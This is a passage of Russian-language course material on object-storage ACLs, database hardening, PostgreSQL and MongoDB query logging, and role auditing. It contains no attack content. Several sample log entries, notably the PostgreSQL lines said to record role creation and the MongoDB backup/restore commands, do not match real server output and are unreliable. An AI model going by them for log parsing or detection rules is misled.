бакета Политика доступа для объекта READ ListBucket,ListBucketMultipartUploads GetObject WRITE PutObject,DeleteObject Не применимо READ\_ACP GetBucketAcl GetObjectAcl WRITE\_ACP PutBucketAcl PutObjectAcl FULL\_CONTROL Эквивалент предоставлению READ, WRITE,READ\_ACP, и WRITE\_ACP ACL разрешений Эквивалент предоставлению READ, READ\_ACP и WRITE\_ACP ACL разрешений Ключи состояния При предоставлении разрешения политики доступа, можно использовать условные ключи, чтобы ограничить значение ACL для объекта с помощью политики бакета. Приведенные ниже контекстные ключи соответствуют спискам ACL. Эти контекстные ключи предназначены для указания использования определенного ACL в запросе: s3 — доступ на чтение. s3 — права записи. s3 — доступ на чтение ACL бакета. s3 — права на запись ACL бакета. s3 — полный контроль. s3 — использование шаблонного ACL. Фиксированный ACL Cloud Storage поддерживает набор предопределенных разрешений, известных как стандартные списки ACL. Каждый фиксированный ACL имеет предопределенный набор получателей и разрешений. В следующей таблице перечислены стандартные списки ACL и связанные с ними предопределенные разрешения. Фиксированный ACL Относится к Разрешения добавлены в ACL private Бакет и объект Владелец получает FULL\_CONTROL. Больше ни у кого нет прав доступа (по умолчанию). public-read Бакет и объект Владелец получает FULL\_CONTROL. Группа AllUsers получает READ доступ. public-read-write Бакет и объект Владелец получает FULL\_CONTROL. Группа AllUsers получает READ и WRITE доступ. aws-exec-read Бакет и объект Владелец получает FULL\_CONTROL. authenticated-read Бакет и объект Владелец получает FULL\_CONTROL. Группа AuthenticatedUsers получает READ доступ. bucket-owner-read Объект Владелец объекта получает FULL\_CONTROL. Владелец бакета получает READ доступ. Если указать этот шаблонный ACL при создании бакета, Cloud Storage проигнорирует его. bucket-owner-full-control Объект И владелец объекта, и владелец бакета получают FULL\_CONTROL над объектом. Если указать этот фиксированный ACL при создании бакета, Cloud Storage проигнорирует его. В запросе можно указать только один из этих фиксированных списков ACL. В запросе указывается фиксированный ACL, используя заголовок запроса x-amz-acl. Когда Cloud Storage получает запрос со стандартным списком управления доступом в запросе, он добавляет предопределенные разрешения в список управления доступом ресурса. Списки управления доступом (ACL) Hotbox предоставляет возможность управлять доступом к контейнерам и объектам с помощью списка управления доступа - ACL. У каждого контейнера и объекта есть свой список доступа. Этот список определяет каким проектам или глобальным группам предоставляются права доступа и соответствующие права доступа. При получении запроса на ресурс сервис проверяет соответствующий ACL на наличие прав доступа у запрашивающего. При создании контейнера или объекта сервис создает стандартный ACL, который предоставляет владельцу ресурса право полного контроля над этим ресурсом, и запрещает доступ остальным проектам и глобальным группам. Это показано в следующем примере ACL бакета (стандартный ACL объекта имеет ту же структуру). 1<?xml version="1.0" encoding="UTF-8"?> 2<AccessControlPolicy xmlns="http://BucketName.hb.vkcs.cloud/doc/2006-03-01/"> 3 <Owner> 4 <ID>\*\*\*Owner-Canonical-User-ID\*\*\*</ID> 5 <DisplayName>owner-display-name</DisplayName> 6 </Owner> 7 <AccessControlList> 8 <Grant> 9 <Grantee xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" 10xsi:type="Canonical User"> 11 <ID>\*\*\*Owner-Canonical-User-ID\*\*\*</ID> 12 <DisplayName>owner-display-name</DisplayName> 13 </Grantee> 14 <Permission>FULL\_CONTROL</Permission> 15 </Grant> 16 </AccessControlList> 17</AccessControlPolicy> Блок Owner определяет владельца по каноническому идентификатору пользователя проекта и по домену. Блок Grant определяет получателя прав (проект сервиса или глобальную группу) и предоставляемое право доступа. Базовый ACL содержит один элемент Grant для владельца. Вы можете предоставлять права с помощью добавления элементов Grant, где каждый из них определяет получателя прав и соответствующее право доступа. Получатель прав Получателем прав может являться проект сервиса или одна из глобальных групп сервиса. Вы можете предоставлять права проекту сервиса при помощи адреса электронной почты (домена) или канонического идентификатора проекта. При этом если вы указываете адрес электронной почты (домен) в вашем запросе на права доступа, то сервис определяет канонический идентификатор пользователя для соответствующего проекта и добавляет его в ACL. В результате ACL всегда будут содержать канонический идентификатор пользователя для проекта сервиса, а не адрес электронной почты проекта (домен). Глобальные группы сервиса У сервиса существует набор предопределенных групп. При предоставлении группе прав доступа к проекту вы указываете один из наших URI вместо канонического идентификатора пользователя. Сервисом предоставляются нижеуказанные глобальные группы. Группа Authenticated Users — группа авторизованных пользователей. Данная группа представляет собой все проекты сервиса. Наличие права доступа к этой группе позволяет любому проекту сервиса получать доступ к ресурсу. Но в то же время все запросы должны быть подписаны (авторизованы). Группа All Users — группа всех пользователей. Наличие права доступа к этой группе позволяет всем получать доступ к ресурсу. Запросы могут быть подписанными (авторизованными) или неподписанными (анонимными). В неподписанных запросах отсутствует заголовок аутентификации Authentication в запросе. Предоставляемые разрешения Следующая таблица содержит набор разрешений, поддерживаемых сервисом в ACL. Необходимо отметить, что набор разрешений ACL один и тот же для объекта и контейнера (за исключением запрета права WRITE на объекте).Нижеследующие таблицы содержат разрешения и описывают их в контексте разрешений объекта и контейнера. Разрешение При предоставлении на контейнере При предоставлении на объекте READ Позволяет получателю прав получить список объектов в контейнере. Позволяет получателю прав прочитать данные объекта и его метаданные. WRITE Позволяет получателю прав создавать, переписывать и удалять любой объект в контейнере. Неприменимо. READ\_ACP Позволяет получателю прав прочитать ACL контейнера. Позволяет получателю прав прочитать ACL объекта. WRITE\_ACP Позволяет получателю прав записывать ACL для соответствующего контейнера. Позволяет получателю прав записывать ACL для соответствующего объекта. FULL\_CONTROL Дает получателю прав следующие разрешения на контейнер: READ, WRITE, READ\_ACP и WRITE\_ACP. Дает получателю прав следующие разрешения на объект: READ, READ\_ACP и WRITE\_ACP. Соответствие разрешений ACL и разрешений политики доступа Каждое из прав доступа позволяет провести в сервисе одну или несколько операций. Следующая таблица показывает соответствие прав доступа и операций. Разрешение ACL Соответствующее разрешение политики доступа при предоставлении разрешения ACL на бакете Соответствующее разрешение политики доступа при предоставлении разрешения ACL на объекте READ HeadBucketListMultipartsListObjectsListParts GetObjectHeadObject WRITE AbortMultipartUploadCompliteMultipartUploadInitiateMultipartUploadUploadPartPutObjectDeleteObject Неприменимо READ\_ACP GetBucketAcl GetObjectAcl WRITE\_ACP PutBucketAcl PutObjectAcl FULL\_CONTROL Эквивалентно предоставлению следующих разрешений ACL: READ, WRITE, READ\_ACP и WRITE\_ACP. Эквивалентно предоставлению следующих разрешений ACL: READ, READ\_ACP и WRITE\_ACP. Связанный ACL Сервис поддерживает набор предопределенных предоставлений разрешений — так называемых «готовых ACL». Каждый готовый ACL содержит предопределенный набор получателей прав и разрешений. Следующая таблица содержит набор готовых ACL и связанных с ними предопределенных предоставлений разрешений. Связанный ACL Область применения Добавленные в ACL разрешения private Контейнер и объект Владелец получает полные права (FULL\_CONTROL). Остальные пользователи не получают прав доступа (по умолчанию). public-read Контейнер и объект Владелец получает полные права (FULL\_CONTROL). Группа всех пользователей Allusers получает право доступа на чтение (READ). public-read-write Контейнер и объект Владелец получает полные права (FULL\_CONTROL). Группа всех пользователей AllUsers получает права доступа на чтение (READ) и запись (WRITE). Как правило, не рекомендуется предоставлять данные разрешений на контейнер. authenticated-read Контейнер и объект Владелец получает полные права (FULL\_CONTROL). Группа авторизованных пользователей (AuthenticatedUsers) получает права доступа на чтение (READ). bucket-owner-read Объект Владелец объекта получает полные права (FULL\_CONTROL). Владелец бакета получает права на чтение (READ). bucket-owner-full-control Объект Владелец объекта и владелец бакета получают полные права (FULL\_CONTROL) на объект. Можно указывать только один из этих связанных ACL в своем запросе — только при установлении ACL через заголовки. Установка ACL API-сервис позволяет вам установить ACL при создании бакета или объекта. Сервис также предоставляет API для возможности установки ACL на существующем бакете или объекте. Эти API дают возможность устанавливать ACL с помощью нижеуказанных способов. Установка ACL с помощью заголовков запроса — при отправке запроса по созданию ресурса (бакета или объекта) вы устанавливаете ACL при помощи заголовков запроса. Данные заголовки позволяют вам указать или готовый ACL, или установить предоставления разрешений явным образом (однозначно определить получателя прав и разрешения). Установка ACL с помощью тела запроса — при отправке запроса по установке ACL на существующем ресурсе вы можете установить ACL или в заголовке запроса, или в теле. # Базы данных CIS Benchmarks (CIS - Center for Internet Security) — это набор рекомендаций и стандартов безопасности информационных систем, разработанный организацией Center for Internet Security. Каждый мануал представляет собой набор наилучших практик и конфигураций для различных операционных систем, устройств и ПО. Рекомендации по настройке могут различаться в зависимости от типа базы данных (например, PostgreSQL, MySQL, Microsoft SQL Server и т. д.) и версии базы данных. Но общие принципы и рекомендации по настройке обязательно включают в себя: - Аутентификация и авторизация: права доступа к базе данных должны быть ограничены для каждого пользователя на минимально необходимый уровень, а учетные записи пользователей должны иметь сильные пароли, также по возможности стоит использовать двухфакторную аутентификацию. - Шифрование: в большинстве СУБД (систем управления базами данных) существуют механизмы встроенного шифрования, которые следует активировать. Помимо этого, необходимо шифровать соединений с базой данных с помощью SSL/TLS. - Аудит и мониторинг: в базах данных должны быть установлены механизмы мониторинга для отслеживания активности пользователей и обнаружения подозрительных действий, например: создание учетной записи с широкими правами, выполнение очень большого запроса, и т.д. Также рекомендуется проводить регулярный аудит учетных записей на предмет превышения прав. - Обновления и патчи: регулярно обновляйте базу данных и устанавливайте патчи для закрытия известных уязвимостей. - Защита от инъекций: применяйте методы предотвращения инъекций, такие как параметризованные запросы и санитаризация входных данных, чтобы предотвратить SQL-инъекции и другие виды атак. - Реагирование на инциденты безопасности: разработайте план реагирования на инциденты и обучите свой персонал его исполнению в случае возникновения инцидентов. # Логирование и мониторинг запросов в базах данных Большинство современных СУБД предоставляют возможность вести журнал запросов, записывая все запросы, поступающие к базе данных. Помимо такого "внутреннего" логирования существуют системы мониторинга баз данных. Они могут непрерывно отслеживать активность баз данных, включая выполняемые запросы, количество обращений и нагрузку на систему. Примеры таких систем — Dynatrace, Datadog. В данном курсе мы рассмотрим прежде всего возможности логирования внутри баз данных. На основании этих логов можно самостоятельно создавать правила SIEM для выявления несанкционированных или подозрительных операций. ### Мониторинг запросов в PostgreSQL Для мониторинга запросов в базах данных PostgreSQL можно использовать различные инструменты и методы. Ниже представлено несколько способов: 1. **Журналы PostgreSQL:** PostgreSQL записывает информацию о выполненных запросах в журналы ошибок (`log_error_verbosity`) и журналы запросов (`log_statement`). Вы можете настроить эти параметры в конфигурационном файле PostgreSQL (например, *postgresql.conf*) и перезапустить сервер: ``` ```ini log_statement = 'all' log_destination = 'stderr' logging_collector = on ``` ``` После настройки PostgreSQL будет записывать все SQL запросы в указанный в log\_destination журнал. 2. **Утилита pg\_stat\_statements:** это встроенный модуль PostgreSQL, который отслеживает статистику выполнения SQL запросов. Вы можете включить его в конфигурационном файле PostgreSQL и перезапустить сервер: ``` ```ini shared_preload_libraries = 'pg_stat_statements' pg_stat_statements.max = 10000 pg_stat_statements.track = all ``` ``` Затем можно выполнить запросы к представлению `pg_stat_statements` для получения информации о наиболее часто выполняемых запросах, их времени выполнения и других метриках. Пример SQL запроса для просмотра наиболее часто выполняемых запросов и их времени выполнения с использованием `pg_stat_statements`: ``` ```sql SELECT query, total_time, calls, rows FROM pg_stat_statements ORDER BY total_time DESC LIMIT 10; ``` ``` Этот запрос покажет 10 наиболее ресурсоемких запросов по времени выполнения, их количество вызовов и количество обработанных строк. ### Настройка логирования в PostgreSQL Настройки логирования возможно изменить в файле `postgresql.conf`, который обычно располагается в каталоге `postgresql`. Как это сделать: 1. **Настройте параметры логирования**: В файле `postgresql.conf` найдите и отредактируйте следующие параметры: - `log_statement = 'all'`: параметр определяет, какие SQL-запросы будут записываться в журнал. Установите его значение на `all`, чтобы записывать все SQL-запросы. - `log_connections = on`: параметр указывает, нужно ли записывать информацию о подключениях к базе данных в журнал. Установите его значение на `on`, чтобы записывать информацию о подключениях. - `log_disconnections = on`: параметр указывает, нужно ли записывать информацию о отключениях от базы данных в журнал. Установите его значение на `on`, чтобы записывать информацию об отключениях. - `log_duration = on`: параметр указывает, нужно ли записывать информацию о продолжительности выполнения SQL-запросов в журнал. Установите его значение на `on`, чтобы записывать информацию о продолжительности выполнения запросов. 2. **Перезапустите PostgreSQL**: После внесения изменений в файл `postgresql.conf` перезапустите PostgreSQL для применения новых настроек: `sudo service postgresql restart` После выполнения этих шагов PostgreSQL будет записывать административные действия, такие как создание ролей и назначение прав доступа, в файл журнала `postgresql.log` с необходимой детализацией, в соответствии с указанными параметрами.
Пример файла postgresql.conf ``` ```ini #------------------------------------------------------------------------------ # FILE LOCATIONS #------------------------------------------------------------------------------ data_directory = '/var/lib/postgresql/12/main' #------------------------------------------------------------------------------ # CONNECTIONS AND AUTHENTICATION #------------------------------------------------------------------------------ listen_addresses = 'localhost' port = 5432 #------------------------------------------------------------------------------ # RESOURCE USAGE (except WAL) #------------------------------------------------------------------------------ shared_buffers = 128MB #------------------------------------------------------------------------------ # WRITE AHEAD LOG #------------------------------------------------------------------------------ wal_level = replica archive_mode = on archive_command = 'cp %p /var/lib/postgresql/12/main/archive/%f' #------------------------------------------------------------------------------ # QUERY TUNING #------------------------------------------------------------------------------ max_connections = 100 effective_cache_size = 4GB work_mem = 64MB #------------------------------------------------------------------------------ # ERROR REPORTING AND LOGGING #------------------------------------------------------------------------------ log_destination = 'stderr' logging_collector = on log_directory = 'pg_log' log_filename = 'postgresql-%Y-%m-%d.log' log_statement = 'all' log_connections = on log_disconnections = on log_duration = on #------------------------------------------------------------------------------ # SECURITY AND AUTHORIZATION #------------------------------------------------------------------------------ password_encryption = 'scram-sha-256' #------------------------------------------------------------------------------ # OTHERS #------------------------------------------------------------------------------ max_wal_size = 2GB ``` ```
### Типы событий в журнале postgresql.log Сообщения сервера — информационные сообщения о состоянии сервера, его настройках, запущенных процессах и т. д.:
2024-03-28 10:00:00.123 UTC \[23345\] LOG: database system is ready to accept connections
Сообщения об ошибках, возникающих во время выполнения запросов, операций и т. д.:
2024-03-28 10:05:00.456 UTC \[23345\] ERROR: syntax error at or near "SELECT"
Записи о выполняемых SQL-запросах, включая их текст, время выполнения, идентификаторы процессов и т. д.:
2024-03-28 10:10:00.789 UTC \[23345\] LOG: statement: SELECT \* FROM users; 2024-03-28 10:00:01.234 UTC \[23345\] LOG: statement: INSERT INTO products (name, price) VALUES ('Product A', 99.99); 2024-03-28 10:00:02.345 UTC \[23345\] LOG: statement: UPDATE customers SET email = 'new@example.com' WHERE id = 123;
Сообщения о подключениях и отключениях к серверу PostgreSQL:
2024-03-28 10:15:00.012 UTC \[23345\] LOG: connection received: host=127.0.0.1 port=5432 2024-03-28 10:20:00.345 UTC \[23345\] LOG: disconnection: session time: 0:05:00
Информация о процессах репликации, восстановлении, синхронизации и т. д., если сервер работает в режиме репликации.
2024-03-28 10:25:00.678 UTC \[23345\] LOG: starting streaming replication
Сообщения о сбоях и восстановлении:
2024-03-28 10:30:00.901 UTC \[23345\] LOG: server process (PID 23345) was terminated by signal 9: Killed 2024-03-28 10:35:00.234 UTC \[23345\] LOG: database system was interrupted; last known up at 2024-03-28 10:00:00 UTC
Сообщения о процессах архивации и восстановления:
2024-03-28 10:40:00.567 UTC \[23345\] LOG: starting online backup of database "mydb" 2024-03-28 10:45:00.890 UTC \[23345\] LOG: restore of database "mydb" from archive completed
Сообщения о настройках и изменениях конфигурации:
2024-03-28 10:50:00.123 UTC \[23345\] LOG: configuration file "/etc/postgresql.conf" contains changes
Рассмотрим подробнее пример файла журнала `postgresql.log` с включенной опцией `log_statement`, который записывает в лог все SQL-запросы:
2024-03-28 10:00:00.123 UTC \[23345\] LOG: statement: SELECT \* FROM users; 2024-03-28 10:00:01.234 UTC \[23345\] LOG: statement: INSERT INTO products (name, price) VALUES ('Product A', 99.99); 2024-03-28 10:00:02.345 UTC \[23345\] LOG: statement: UPDATE customers SET email = 'new@example.com' WHERE id = 123;
В этом примере каждая строка в файле журнала представляет собой SQL-запрос, который был выполнен в базе данных. Каждая запись начинается с даты и времени события, за которыми следует идентификатор процесса PostgreSQL (`23345` в данном случае), уровень журналирования (`LOG`), и непосредственно сам SQL-запрос. - **Дата и время (`2024-03-28 10:00:00.123 UTC`):** метка времени, когда был выполнен SQL-запрос. - **Идентификатор процесса (`[23345]`):** это уникальный идентификатор процесса PostgreSQL, который выполнял SQL-запрос. - **Уровень журналирования (`LOG`):** указывает на уровень важности сообщения. В данном случае, это просто информационное сообщение. - **SQL-запрос (`statement: ...`):** это сам SQL-запрос, который был выполнен. В примере показаны три различных SQL-запроса: выборка (`SELECT`), вставка (`INSERT`) и обновление (`UPDATE`). ### Мониторинг запросов в MongoDB 1. **Профилирование MongoDB:** MongoDB позволяет включить профилирование, чтобы записывать информацию о выполненных запросах. Это делается с помощью команды `db.setProfilingLevel()`. Пример установки уровня профилирования в MongoDB: ``` ```css db.setProfilingLevel(1, { slowms: 100 }); ``` ``` Значение **1** указывает на включение профилирования. Это означает, что MongoDB будет записывать информацию о каждом выполненном запросе. **{ slowms: 100 }**: это опциональный параметр, который определяет пороговое значение времени выполнения запроса в миллисекундах, после которого запрос считается "медленным". В данном случае запросы, выполняющиеся дольше 100 миллисекунд, будут считаться медленными и будут записываться в профилировочный журнал. 2. **Использование инструментов мониторинга:** для мониторинга MongoDB можно использовать различные инструменты, такие как MongoDB Compass, MongoDB Cloud Manager, MongoDB Ops Manager и другие. Они предоставляют дашборды и отчеты о выполненных запросах и производительности сервера MongoDB. 3. **db.currentOp():** этот метод позволяет просматривать текущие операции в MongoDB, включая выполняемые запросы. ### Просмотр текущих операций в MongoDB В MongoDB метод `db.currentOp()` используется для получения списка текущих операций, выполняющихся в базе данных. Этот метод полезен для мониторинга текущей активности и идентификации долго выполняющихся операций или блокировок. Пример вывода после использования `db.currentOp()`:
Раскрыть ``` ```json { "inprog" : [ { "opid" : 6146937, "active" : true, "secs_running" : 5, "op" : "query", "ns" : "test.collection", "command" : { "find" : "collection", "filter" : { "status" : "active" }, "lsid" : { "id" : UUID("50cb6696-739b-4db3-806d-31a4365a4e38") }, "$clusterTime" : { "clusterTime" : Timestamp(1632785477, 1), "signature" : { "hash" : BinData(0,"AAAAAAAAAAAAAAAAAAAAAAAAAAA="), "keyId" : NumberLong(0) } }, "originatingCommand" : { "find" : "collection", "filter" : { "status" : "active" }, "lsid" : { "id" : UUID("50cb6696-739b-4db3-806d-31a4365a4e38") }, "$clusterTime" : { "clusterTime" : Timestamp(1632785477, 1), "signature" : { "hash" : BinData(0,"AAAAAAAAAAAAAAAAAAAAAAAAAAA="), "keyId" : NumberLong(0) } }, "... }, "planSummary" : "COLLSCAN", "numYields" : 0, "locks" : { "ReplicationStateTransition" : { "acquireCount" : { "w" : NumberLong(1) } }, "Global" : { "acquireCount" : { "r" : NumberLong(1) } }, "Database" : { "acquireCount" : { "r" : NumberLong(1) } }, "Collection" : { "acquireCount" : { "r" : NumberLong(1) } } }, "responseLength" : 15825718, "protocol" : "op_msg", "millis" : 5, "execStats" : { }, "ts" : ISODate("2021-09-28T14:11:17.631Z"), "client" : "127.0.0.1", "appName" : "MongoDB Shell", "clientMetadata" : { "application" : { "name" : "MongoDB Shell" }, "driver" : { "name" : "MongoDB Internal Client", "version" : "4.4.8" }, "os" : { "type" : "Linux", "name" : "Ubuntu", "architecture" : "x86_64", "version" : "20.04" } }, "numYields" : 0, "locks" : { }, "waitingForLock" : false, "awaiting_historical_lock" : false, "lockStats" : { "ReplicationStateTransition" : { "timeLockedMicros" : { "r" : NumberLong(0), "w" : NumberLong(87) } }, "Global" : { "timeLockedMicros" : { "r" : NumberLong(0), "w" : NumberLong(87) } }, "Database" : { "timeLockedMicros" : { "r" : NumberLong(0), "w" : NumberLong(87) } }, "Collection" : { "timeLockedMicros" : { "r" : NumberLong(0), "w" : NumberLong(87) } } } } ], "ok" : 1 } ``` ```
В примере приведена информация о текущей операции, выполняющейся в MongoDB. Поля в этом логе: 1. **opid**: Уникальный идентификатор операции (Operation ID). 2. **active**: Показывает, активна ли операция в данный момент. 3. **secs\_running**: Время, в течение которого операция выполняется, в секундах. 4. **op**: Тип операции. В данном случае это `query`, что означает выполнение запроса к базе данных. 5. **ns**: Пространство имен, в котором выполняется операция. В данном случае запрос выполняется в коллекции `test.collection`. 6. **command**: Команда запроса. Здесь показана конкретная команда `find` для поиска документов в коллекции `collection`, которые соответствуют фильтру `{ "status" : "active" }`. 7. **planSummary**: Краткое описание плана выполнения запроса. В данном случае используется коллекционный скан (`COLLSCAN`), что может указывать на то, что индекс не используется для выполнения запроса. 8. **locks**: Информация о блокировках, которые удерживает операция. Здесь показаны различные типы блокировок, включая блокировки на уровне глобального объекта, базы данных и коллекции. 9. **responseLength**: Длина ответа на запрос, в байтах. 10. **client**: IP-адрес или хост, откуда был отправлен запрос. 11. **appName**: Имя приложения, которое инициировало запрос. В данном случае это MongoDB Shell. 12. **clientMetadata**: Дополнительная метаданные о клиенте, включая информацию о драйвере и операционной системе. 13. **waitingForLock**: Показывает, ожидает ли операция блокировку. 14. **awaiting\_historical\_lock**: Показывает, ожидает ли операция историческую блокировку. 15. **lockStats**: Статистика блокировок для операции, включая время, в течение которого различные типы блокировок были удерживаемыми. ### Настройка логирования в MongoDB В MongoDB настройка логирования осуществляется через файл конфигурации `mongod.conf`. 1. **Настройка параметров логирования**: В файле `mongod.conf` найдите и отредактируйте параметры, связанные с логированием: - `systemLog.destination`: Укажите тип журнала, который вы хотите использовать. Например, `file` для записи в файл или `syslog` для записи в системный журнал. - `systemLog.path`: Укажите путь к файлу журнала, если вы выбрали тип `file`. - `systemLog.logAppend`: Если установлено в `true`, новые записи будут добавляться в конец существующего файла журнала. Если установлено в `false`, файл будет перезаписываться при каждом запуске. - `systemLog.verbosity`: Укажите уровень журналирования. Например, `0` для минимального уровня (только критические сообщения), `1` для информационных сообщений, `2` для отладочных сообщений и т. д. 2. **Перезапустите MongoDB**: После внесения изменений в файл `mongod.conf` перезапустите MongoDB для применения новых настроек. `sudo service mongod restart`
Пример файла mongod.conf ``` ```yaml # mongod.conf # Установка каталога данных и журнала storage: dbPath: /var/lib/mongodb journal: enabled: true # Установка параметров системного журнала systemLog: destination: file logAppend: true path: /var/log/mongodb/mongod.log verbosity: 1 # Установка параметров сети net: port: 27017 bindIp: 127.0.0.1 # Настройка параметров безопасности security: authorization: enabled # Другие параметры конфигурации (необязательно) ``` ```
### Логи MongoDB В логе mongod.log MongoDB записывает различные типы событий, связанных с работой сервера и его окружения. Основные типы событий, которые могут присутствовать в журнале mongod.log: **Сообщения о запуске и остановке сервера:**
2024-03-28T12:00:00.000+0000 I CONTROL \[main\] \*\*\*\*\* SERVER RESTARTED \*\*\*\*\* 2024-03-28T12:00:05.000+0000 I CONTROL \[initandlisten\] MongoDB starting : pid=123 port=27017 ...
- Сообщения об успешном запуске сервера MongoDB. - Сообщения о завершении работы сервера при выключении. **Сообщения о подключении и отключении клиентов:**
2024-03-28T12:05:23.000+0000 I NETWORK \[listener\] connection accepted from 192.168.1.100:54321 #1 (1 connection now open) 2024-03-28T12:05:30.000+0000 I NETWORK \[conn1\] end connection 192.168.1.100:54321 (0 connections now open)
- Информация о новых клиентских подключениях к серверу MongoDB. - Уведомления об отключении клиентов от сервера. **Сообщения об аутентификации и авторизации:**
2024-03-28T12:10:12.000+0000 I ACCESS \[conn123\] Successfully authenticated as user1 2024-03-28T12:10:20.000+0000 I ACCESS \[conn123\] Authentication failed for user2 from IP 192.168.1.101
- Логирование попыток аутентификации пользователей и ролей. - Уведомления о результате аутентификации (успех или неудача). **Сообщения о выполнении операций:**
2024-03-28T12:15:45.000+0000 I COMMAND \[conn123\] command mydatabase.collection command: find { find: "collection", filter: {}, ... 2024-03-28T12:15:50.000+0000 I WRITE \[conn123\] update mydatabase.collection query: { \_id: ObjectId("123") } update: ...
- Логирование различных операций с данными, таких как запросы на чтение и запись, обновление и удаление документов. - Информация о долго выполняющихся запросах и запросах, требующих индексов. **Сообщения об ошибках и предупреждениях:**
2024-03-28T12:20:00.000+0000 W STORAGE \[conn123\] Detected unclean shutdown - /data/db/mongod.lock is not empty. 2024-03-28T12:20:10.000+0000 E STORAGE \[conn123\] WiredTiger error (0) \[111111111\] at <path/to/file>:123, terminating
- Логирование различных видов ошибок, возникающих во время работы сервера MongoDB. - Предупреждения о потенциальных проблемах и нежелательных событиях. **Сообщения о репликации и кластеризации:**
2024-03-28T12:25:00.000+0000 I REPL \[rsSync\] Starting initial sync with primary 2024-03-28T12:25:10.000+0000 I REPL \[rsSync\] Initial sync attempt failed, retrying in 10 seconds
- Информация о состоянии репликации и синхронизации данных между узлами кластера. - Логирование операций репликации, таких как выборы лидера, перенос данных и т. д. **Сообщения о резервном копировании и восстановлении:**
2024-03-28T12:30:00.000+0000 I COMMAND \[conn123\] command admin.backup command: backup { backup: "mydatabase" } 2024-03-28T12:30:05.000+0000 I COMMAND \[conn123\] command admin.restore command: restore { restore: "mydatabase" }
- Информация о процессах резервного копирования и восстановления данных. - Логирование успешных и неудачных операций резервного копирования и восстановления. **Сообщения о настройках и изменениях конфигурации:**
2024-03-28T12:35:00.000+0000 I CONTROL \[main\] Setting featureCompatibilityVersion to "4.0" 2024-03-28T12:35:10.000+0000 I STORAGE \[initandlisten\] Detected data files in /data/db created by the 'wiredTiger' storage engine, ...
- Уведомления о изменениях в конфигурационных файлах сервера MongoDB. - Информация о перезагрузке сервера в связи с изменениями в конфигурации. # Роли и права пользователей ## В реляционных базах данных ### **Роли пользователей** **Суперпользователь (Superuser)** — особая роль, которая обладает полными правами на управление базой данных и ее объектами. Суперпользователь может выполнять любые операции с данными, включая создание, изменение и удаление объектов базы данных, а также управление пользователями и их правами. **Пользователь (User)** — обычный пользователь базы данных, который имеет ограниченные права на выполнение операций с данными. Пользователи могут иметь доступ только к определенным объектам базы данных и выполнять только определенные операции, в зависимости от их назначенных прав доступа. **Роли безопасности (Security Roles)** — являются наборами прав доступа, которые можно назначить одному или нескольким пользователям. Использование ролей позволяет упростить управление правами доступа и обеспечить согласованность безопасности в системе. ### **Права доступа** **Права на объекты** — определяют, какие операции разрешены для выполнения с определенными объектами базы данных, такими как таблицы, представления, процедуры и т.д. Типичные права включают SELECT (чтение), INSERT (добавление), UPDATE (обновление), DELETE (удаление) и другие. **Глобальные права** — определяют операции, разрешенные для выполнения на уровне базы данных или даже на уровне сервера баз данных в целом. Например, глобальные права могут включать права на создание баз данных, создание пользователей, управление ролями и т.д. **Права на системные объекты** — определяют доступ к системным объектам базы данных, таким как системные таблицы и представления, а также каталоги базы данных. **Права на схемы (Schema Privileges)** — некоторые СУБД предоставляют возможность управления правами доступа на уровне схем, что позволяет более гибко управлять доступом к группам объектов. ### Примеры создания пользователей в PostgreSQL В PostgreSQL для создания пользователя используется команда `CREATE ROLE`. Создавать новых пользователей могут пользователями с такими правами: - **CREATE ROLE**: эта привилегия дает пользователю возможность создавать новые роли (включая пользователей) в базе данных PostgreSQL. Пользователи, обладающие этой привилегией, могут выполнять команду CREATE ROLE для создания новых пользователей. - **SUPERUSER**: пользователь с правами суперпользователя (SUPERUSER) имеет все привилегии в базе данных, включая возможность создавать новых пользователей и назначать им любые права доступа. Рассмотрим примеры создания пользователей с различными уровнями привилегий: #### **Создание суперпользователя**
CREATE ROLE superuser LOGIN SUPERUSER PASSWORD 'password';
Этот запрос создает нового суперпользователя с именем superuser и устанавливает пароль password. Суперпользователь имеет полный доступ ко всем объектам базы данных и может выполнять любые операции. Как это будет выглядеть в логе:
<timestamp> LOG: new superuser superuser created <timestamp> LOG: granting SUPERUSER privileges to user "superuser"
#### **Создание пользователя с ограниченными привилегиями**
CREATE ROLE limited\_user LOGIN PASSWORD 'password' VALID UNTIL '2025-12-31'; GRANT SELECT ON ALL TABLES IN SCHEMA public TO limited\_user;
Этот запрос создает нового пользователя с именем limited\_user, устанавливает ему пароль password и устанавливает срок его действия до 31 декабря 2025 года. Затем с помощью команды `GRANT` предоставляются ограниченные привилегии на чтение (SELECT) для всех таблиц в схеме public. Как это будет выглядеть в логе:
<timestamp> LOG: new user limited\_user with password created <timestamp> LOG: granting LOGIN privileges to user "limited\_user" <timestamp> LOG: granting SELECT privileges on all tables in schema public to user "limited\_user"
#### **Создание роли с административными привилегиями**
CREATE ROLE admin\_role; GRANT CREATE ROLE TO admin\_role; GRANT CREATE DATABASE TO admin\_role;
Этот запрос создает новую роль admin\_role, которая имеет право создавать другие роли и базы данных. Роль с административными привилегиями может быть использована для управления пользователями и базами данных в системе. Как это будет выглядеть в логе:
<timestamp> LOG: new role admin\_role created <timestamp> LOG: granting CREATE ROLE privileges to role "admin\_role" <timestamp> LOG: granting CREATE DATABASE privileges to role "admin\_role"
## Аудит учетных записей Относительно SQL-команд повышенные права должны иметь только суперпользователи. Обычные пользователи PostgreSQL не должны обладать возможностью создавать роли, создавать новые базы данных, управлять репликацией или выполнять любое другое действие, считающееся привилегированным. Обычным пользователям должен предоставляться только минимальный набор привилегий, соответствующий управлению приложением: - DDL (Data definition language - создание таблиц, создание представлений, создание индексов и т. д.); - DML (Data Manipulation Language - select, insert, update, delete). Также считается хорошей практикой создавать отдельные роли для DDL и DML. Для приложения с названием "payroll" были бы созданы следующие пользователи: - payroll\_owner; - payroll\_user. Любые привилегии DDL предоставляются только учетной записи payroll\_owner, в то время как привилегии DML предоставляются только учетной записи payroll\_user. Это предотвращает случайное создание/изменение/удаление объектов базы данных кодом приложения, который выполняется от имени учетной записи payroll\_user. Таким образом, не ограничивая глобальные административные команды только суперпользователями, обычные пользователи, которым предоставлены избыточные привилегии, могут выполнять административные команды с неожиданными и нежелательными результатами. В процессе аудита сначала необходимо проверить привилегии, предоставленные суперпользователю базы данных (определенному здесь как postgres), используя команду отображения `psql -c "\du postgres"`, чтобы установить базовую линию для предоставленных административных привилегий. На основе примера ниже, суперпользователь postgres может создавать роли, создавать базы данных, управлять репликацией и обходить уровни безопасности строк (RLS - Row Level Security):
